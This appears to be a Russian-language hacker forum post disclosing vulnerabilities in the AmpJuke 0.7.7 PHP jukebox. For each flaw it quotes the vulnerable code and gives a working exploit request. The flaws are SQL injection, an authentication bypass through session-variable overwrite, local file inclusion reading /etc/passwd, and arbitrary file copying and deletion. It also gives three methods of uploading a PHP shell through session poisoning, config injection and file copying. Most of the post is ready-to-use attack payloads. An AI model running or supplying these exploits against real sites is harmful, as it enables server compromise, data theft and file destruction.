Уязвимости AmpJuke 0.7.7(latest version) download: http://www.ampjuke.org/ampjuke-0.7.7.tar.gz Предисловие: На предыдущие версии движка, в паблике валяется только одна sql-инъекция... Ну посмотрим, что можно сделать в новой версии =) 1) [SQL-injection] get_lyrics.php уязвимый код: PHP: parse_str($_SERVER["QUERY_STRING"]); require("db.php"); require("sql.php"); require("disp.php"); $qry="SELECT id,name,performer_id FROM track WHERE id=".$id; $result=execute_sql($qry,0,100000,$nr); эксплуатирование: Code: get_lyrics.php?id=-1+union+select+1,version(),3--+ 2) [bypass] make_header.php уязвимый код: PHP: <?php session_start(); parse_str($_SERVER["QUERY_STRING"]); //с помощью данной функции перезапишем нужные нам значения переменных в массиве $_SESSION $ok=0; if (isset($_SESSION['login'])) { $ok++; } if (isset($_SESSION['passwd'])) { $ok++; } ?> <?php if ($ok!=2) { session_destroy(); include_once("disp.php"); // 0.6.3: If we need to redirect (session timeout), but we have enabled "remember me" // then remember the url parameters as well: redir("login.php?".$_SERVER["QUERY_STRING"]); exit; } эксплуатирование: Code: make_header.php?_SESSION[login]=[b]<any symbols>[/b]&_SESSION[passwd]=[b]<any symbols>[/b] 3) [LFI] (требования: magic_quotes=off ) 1)make_header.php уязвимый код: PHP: $ret.=get_icon($_SESSION['icon_dir'],'favorite_add',$t); //вызов функции disp.php PHP: function get_icon($dir,$wanted_icon,$add_txt) { global $icon_array; // DEFAULT: return what we had until version 0.7.0: The small "mnu_arr.gif": $ret='<img src="./ampjukeicons/mnu_arr.gif" border="0">'; $icon=''; $is_already_read=0; // 0.7.3: Did we read this icon from disk previously ? if (array_key_exists($wanted_icon,$icon_array)) { $ret=$icon_array[$wanted_icon]; $is_already_read=1; } if ($is_already_read==0) { if ((file_exists('./ampjukeicons/'.$dir.'/icon_index.php')) && (is_readable('./ampjukeicons/'.$dir.'/icon_index.php'))) { include('./ampjukeicons/'.$dir.'/icon_index.php'); //сам инклуд эксплуатирование: Code: make_header.php?_SESSION[login]=admin&_SESSION[passwd]=1222&_SESSION[icon_dir]=../../../../../../../etc/passwd%00 2)now_playing.php уязвимый код PHP: switch($_REQUEST['action']) { case 'ampjuke_now_playing': echo "ampjuke_now_playing|"; if (file_exists('./tmp/np'.$_REQUEST['user_id'].'.txt')) { include('./tmp/np'.$_REQUEST['user_id'].'.txt'); эксплуатирование: Code: now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../etc/passwd%00 4) [Произвольное копирование файлов] (требования: magic_quotes=off) amazon4.php уязвимый код: PHP: function ampjuke_save_cover($cover,$amazon_string) { $handle=fopen($cover,"r"); $out_handle=fopen('./covers/'.$amazon_string.'.jpg', "w"); while (!feof($handle)) { $data=fread($handle,4096); fwrite($out_handle,$data); } fclose($handle); fclose($out_handle); } if (file_exists('./covers/'.$amazon_string.'.jpg')) { ampjuke_save_cover('./covers/'.$amazon_string.'.jpg',$amazon_album_id); if (is_writable('./covers/'.$amazon_string.'.jpg')) { // get rid of 'old' cover ("name.jpg"): unlink('./covers/'.$amazon_string.'.jpg'); } } эксплуатирование: У уязвимости есть особенность, файл откуда производилось чтение, удаляется, так что осторожней с этой багой Code: amazon/amazon4.php?amazon_string=../../../../../../../../../../etc/passwd%00&amazon_album_id=../result.php%00 5) [Произвольное удаление файлов] (требования: magic_quotes=off) loginvalidate.php уязвимый код: PHP: if ((!isset($_POST['uuid'])) || (!file_exists($_POST['uuid']))) { echo 'Sorry. Cannot validate username+password. Please <a href="login.php">login again</a>'; die(); } @unlink($_POST['uuid']); эксплуатирование: Если мы совсем уж вредные какеры, и нас хлебом не корми, дай что-нибудь удалить, то в POST-пакете отправляем скрипту uuid=index.php [Загрузка шелла] 1) через сессии (общеизвестный, впринципе, способ) Code: make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?> и затем инклудим Code: now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../../../../../tmp/sess_[b]<идентификатор сессии>[/b]%00 2) правка конфига sitecfg.php(требуется доступ в админ-панель) дописываем к любому параметру "; phpinfo(); // код запишется в db.php 3) через копирование файлов заносим наш злой код в файл сессии Code: make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?> и копируем файл сессии в папку с сайтом Code: /amazon/amazon5.php?amazon_string=../../../../../../../../../../tmp/sess_[b]<идентификатор сессии>[/b]&amazon_album_id=../shell.php%00